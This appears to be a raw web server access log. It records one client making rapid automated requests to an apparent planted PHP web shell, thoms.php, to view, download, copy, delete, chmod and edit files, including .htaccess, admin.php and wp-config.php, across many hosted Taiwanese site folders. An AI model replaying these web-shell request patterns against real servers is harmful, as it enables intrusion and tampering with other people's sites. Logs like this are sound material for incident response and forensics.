45.135.193.11 - - [11/Sep/2026:23:13:50 -0400] "GET /thoms.php?p=upgrade&view=termps.php HTTP/1.1" 200 11795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?copy=upgrade%2Ftermps.php&p=upgrade HTTP/1.1" 200 11371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?p=upgrade&view=postnews.php HTTP/1.1" 200 11806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?dl=admin.php&p=upgrade HTTP/1.1" 200 13827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?chmod=index.php&p=upgrade HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?dl=.htaccess&p=upgrade HTTP/1.1" 200 13835 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?copy=upgrade%2Fadmin.php&p=upgrade HTTP/1.1" 200 11369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /upgrade HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?chmod=txets.php&p=upgrade HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?chmod=postnews.php&p=upgrade HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /upgrade/ HTTP/1.1" 200 6586 "https://163.245.207.76/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 59005 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?dl=postnews.php&p=upgrade HTTP/1.1" 200 13827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?chmod=termps.php&p=upgrade HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?p=upgrade&view=txets.php HTTP/1.1" 200 11803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?del=.htaccess&p=upgrade HTTP/1.1" 200 13837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?copy=upgrade%2Findex.php&p=upgrade HTTP/1.1" 200 11357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?copy=upgrade%2Ftxets.php&p=upgrade HTTP/1.1" 200 11361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?dl=index.php&p=upgrade HTTP/1.1" 200 13835 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?del=postnews.php&p=upgrade HTTP/1.1" 200 13836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?copy=upgrade%2Fpostnews.php&p=upgrade HTTP/1.1" 200 11362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?del=termps.php&p=upgrade HTTP/1.1" 200 13825 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?p=upgrade&settings=1 HTTP/1.1" 200 11871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?chmod=admin.php&p=upgrade HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?p=upgrade&upload= HTTP/1.1" 200 12147 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?p=upgrade&view=admin.php HTTP/1.1" 200 38729 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:51 -0400] "GET /thoms.php?dl=txets.php&p=upgrade HTTP/1.1" 200 13826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?p=upgrade&view=.htaccess HTTP/1.1" 200 11893 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?p=upgrade&view=index.php HTTP/1.1" 200 11792 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=upgrade%2F.htaccess&p=upgrade HTTP/1.1" 200 11358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?dl=termps.php&p=upgrade HTTP/1.1" 200 13825 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?del=index.php&p=upgrade HTTP/1.1" 200 13835 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?del=admin.php&p=upgrade HTTP/1.1" 200 13826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?edit=error_log&p= HTTP/1.1" 200 12257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?edit=error_log&env=ace&p= HTTP/1.1" 200 15853 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=upgrade HTTP/1.1" 200 11353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bft.com.tw HTTP/1.1" 200 11422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18947 "https://163.245.207.76/thoms.php?copy=cgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18955 "https://163.245.207.76/thoms.php?copy=cgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11391 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18957 "https://163.245.207.76/thoms.php?copy=cgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bossini.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=wp-content HTTP/1.1" 200 11365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=betcity.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19055 "https://163.245.207.76/thoms.php?copy=cgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=cgi-bin HTTP/1.1" 200 11291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=bfl.com.tw HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=cgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19117 "https://163.245.207.76/thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18770 "https://163.245.207.76/thoms.php?copy=.htaccess&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=wp-content HTTP/1.1" 200 11366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw HTTP/1.1" 200 11423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw HTTP/1.1" 200 11415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19200 "https://163.245.207.76/thoms.php?copy=.htaccess&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=cgi-bin HTTP/1.1" 200 11303 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=upgrade HTTP/1.1" 200 11353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?edit=thoms.php&p= HTTP/1.1" 200 56122 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p= HTTP/1.1" 200 59685 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?copy=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fmah.php&p=beauty-dental.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?chmod=wp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:53 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-signup.php HTTP/1.1" 200 22519 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
